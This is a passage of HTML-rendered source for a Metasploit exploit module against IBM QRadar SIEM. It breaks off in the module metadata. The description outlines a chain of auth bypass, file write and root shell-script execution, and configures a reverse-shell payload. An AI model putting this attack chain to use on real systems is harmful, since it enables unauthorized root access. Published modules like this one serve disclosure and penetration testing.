data-line=\"crayon-5b0c805d4c514733524048-208\">208<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-209\">209<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-210\">210<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-211\">211<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-212\">212<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-213\">213<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-214\">214<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-215\">215<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-216\">216<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-217\">217<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-218\">218<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-219\">219<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-220\">220<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5b0c805d4c514733524048-221\">221<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5b0c805d4c514733524048-222\">222<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-1\"><span class=\"crayon-p\">##<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-2\"><span class=\"crayon-p\"># This module requires Metasploit: http:\/\/metasploit.com\/download<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-3\"><span class=\"crayon-p\"># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-4\"><span class=\"crayon-p\">##<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-5\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-6\"><span class=\"crayon-i\">require<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;msf\/core&#8217;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-7\"><span class=\"crayon-i\">require<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;securerandom&#8217;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-8\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-9\"><span class=\"crayon-t\">class<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">MetasploitModule<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">Msf<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">Exploit<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-e\">Remote<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-10\"><span class=\"crayon-e\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">Rank<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">ExcellentRanking<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-11\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-12\"><span class=\"crayon-e\">&nbsp;&nbsp;<\/span><span class=\"crayon-e\">include <\/span><span class=\"crayon-v\">Msf<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">Exploit<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">Remote<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-e\">HttpClient<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-13\"><span class=\"crayon-e\">&nbsp;&nbsp;<\/span><span class=\"crayon-e\">include <\/span><span class=\"crayon-v\">Msf<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">Exploit<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">Remote<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-e\">HttpServer<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-14\"><span class=\"crayon-e\">&nbsp;&nbsp;<\/span><span class=\"crayon-e\">include <\/span><span class=\"crayon-v\">Msf<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">Exploit<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-e\">EXE<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-15\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-16\"><span class=\"crayon-e\">&nbsp;&nbsp;<\/span><span class=\"crayon-e\">def <\/span><span class=\"crayon-e\">initialize<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">info<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-17\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-r\">super<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">update_info<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">info<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-18\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8216;Name&#8217;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;IBM QRadar SIEM Unauthenticated Remote Code Execution&#8217;<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-19\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8216;Description&#8217;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">%<\/span><span class=\"crayon-e\">q<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-20\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">IBM <\/span><span class=\"crayon-e\">QRadar <\/span><span class=\"crayon-e\">SIEM <\/span><span class=\"crayon-e\">has <\/span><span class=\"crayon-e\">three <\/span><span class=\"crayon-e\">vulnerabilities <\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">the <\/span><span class=\"crayon-e\">Forensics <\/span><span class=\"crayon-e\">web <\/span><span class=\"crayon-e\">application<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-21\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">that <\/span><span class=\"crayon-e\">when <\/span><span class=\"crayon-e\">chained <\/span><span class=\"crayon-e\">together <\/span><span class=\"crayon-e\">allow <\/span><span class=\"crayon-e\">an <\/span><span class=\"crayon-e\">attacker <\/span><span class=\"crayon-st\">to<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">achieve <\/span><span class=\"crayon-e\">unauthenticated <\/span><span class=\"crayon-e\">remote <\/span><span class=\"crayon-e\">code <\/span><span class=\"crayon-v\">execution<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-22\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-23\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">The <\/span><span class=\"crayon-e\">first <\/span><span class=\"crayon-e\">stage <\/span><span class=\"crayon-e\">bypasses <\/span><span class=\"crayon-e\">authentication <\/span><span class=\"crayon-e\">by <\/span><span class=\"crayon-e\">fixating <\/span><span class=\"crayon-e\">session <\/span><span class=\"crayon-v\">cookies<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-24\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">The <\/span><span class=\"crayon-e\">second <\/span><span class=\"crayon-e\">stage <\/span><span class=\"crayon-e\">uses <\/span><span class=\"crayon-e\">those <\/span><span class=\"crayon-e\">authenticated <\/span><span class=\"crayon-e\">sessions <\/span><span class=\"crayon-e\">cookies <\/span><span class=\"crayon-st\">to<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">write<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">a<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">file <\/span><span class=\"crayon-st\">to<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">disk <\/span><span class=\"crayon-st\">and<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">execute<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-25\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">that <\/span><span class=\"crayon-e\">file <\/span><span class=\"crayon-st\">as<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">the<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;nobody&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">user<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-26\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">The <\/span><span class=\"crayon-e\">third <\/span><span class=\"crayon-st\">and<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-m\">final<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">stage <\/span><span class=\"crayon-e\">occurs <\/span><span class=\"crayon-e\">when <\/span><span class=\"crayon-e\">the <\/span><span class=\"crayon-e\">file <\/span><span class=\"crayon-e\">executed <\/span><span class=\"crayon-st\">as<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;nobody&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">writes <\/span><span class=\"crayon-e\">an <\/span><span class=\"crayon-e\">entry <\/span><span class=\"crayon-e\">into <\/span><span class=\"crayon-e\">the<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-27\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">database <\/span><span class=\"crayon-e\">that <\/span><span class=\"crayon-e\">causes <\/span><span class=\"crayon-e\">QRadar <\/span><span class=\"crayon-st\">to<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">execute<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">a<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">shell <\/span><span class=\"crayon-e\">script <\/span><span class=\"crayon-e\">controlled <\/span><span class=\"crayon-e\">by <\/span><span class=\"crayon-e\">the <\/span><span class=\"crayon-e\">attacker <\/span><span class=\"crayon-st\">as<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">root <\/span><span class=\"crayon-e\">within<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-28\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">the <\/span><span class=\"crayon-e\">next <\/span><span class=\"crayon-v\">minute<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-29\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">Details <\/span><span class=\"crayon-e\">about <\/span><span class=\"crayon-e\">these <\/span><span class=\"crayon-e\">vulnerabilities <\/span><span class=\"crayon-e\">can <\/span><span class=\"crayon-e\">be <\/span><span class=\"crayon-e\">found <\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">the <\/span><span class=\"crayon-e\">advisories <\/span><span class=\"crayon-e\">listed <\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">References<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-30\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-31\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">The <\/span><span class=\"crayon-e\">Forensics <\/span><span class=\"crayon-e\">web <\/span><span class=\"crayon-e\">application <\/span><span class=\"crayon-st\">is<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">disabled <\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">QRadar <\/span><span class=\"crayon-e\">Community <\/span><span class=\"crayon-v\">Edition<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">but <\/span><span class=\"crayon-e\">the <\/span><span class=\"crayon-e\">code <\/span><span class=\"crayon-e\">still <\/span><span class=\"crayon-v\">works<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-32\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">so <\/span><span class=\"crayon-e\">these <\/span><span class=\"crayon-e\">vulnerabilities <\/span><span class=\"crayon-e\">can <\/span><span class=\"crayon-e\">be <\/span><span class=\"crayon-e\">exploited <\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">all <\/span><span class=\"crayon-e\">flavours <\/span><span class=\"crayon-e\">of <\/span><span class=\"crayon-v\">QRadar<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-33\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-r\">This<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">module <\/span><span class=\"crayon-e\">was <\/span><span class=\"crayon-e\">tested <\/span><span class=\"crayon-e\">with <\/span><span class=\"crayon-e\">IBM <\/span><span class=\"crayon-e\">QRadar <\/span><span class=\"crayon-i\">CE<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">7.3.0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">and<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">7.3.1.<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Most <\/span><span class=\"crayon-e\">likely <\/span><span class=\"crayon-e\">all <\/span><span class=\"crayon-e\">versions <\/span><span class=\"crayon-e\">released <\/span><span class=\"crayon-e\">since<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-34\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-i\">mid<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">2014<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">are <\/span><span class=\"crayon-v\">vulnerable<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">as<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">that <\/span><span class=\"crayon-e\">was <\/span><span class=\"crayon-e\">when <\/span><span class=\"crayon-e\">the <\/span><span class=\"crayon-e\">Forensics <\/span><span class=\"crayon-e\">application <\/span><span class=\"crayon-e\">was <\/span><span class=\"crayon-v\">introduced<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-35\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-36\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">Due <\/span><span class=\"crayon-st\">to<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">payload <\/span><span class=\"crayon-v\">constraints<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">module <\/span><span class=\"crayon-e\">only <\/span><span class=\"crayon-i\">runs<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">a<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">generic<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-e\">shell_reverse_tcp <\/span><span class=\"crayon-v\">payload<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-37\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-38\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8216;Author&#8217;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-39\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">[<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-40\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8216;Pedro Ribeiro &lt;pedrib@gmail.com&gt;&#8217;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-p\"># Vulnerability discovery and Metasploit module<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-41\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-42\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8216;License&#8217;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">MSF_LICENSE<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-43\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8216;Platform&#8217;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;unix&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-44\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8216;Arch&#8217;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">ARCH_CMD<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-45\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8216;References&#8217;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-46\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">[<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-47\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;CVE&#8217;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8221;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-48\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;URL&#8217;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;SECURITEAM_URL&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-49\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;URL&#8217;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;GITHUB_URL&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-50\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;URL&#8217;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;FULLDISC_URL&#8217;<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-51\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-52\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8216;Targets&#8217;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-53\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">[<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-54\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;IBM QRadar SIEM &lt;= LAST_VULN_VERSION&#8217;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-55\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-56\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8216;Payload&#8217;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-57\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8216;Compat&#8217;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-58\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8216;ConnectionType&#8217;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;reverse&#8217;<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-59\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div 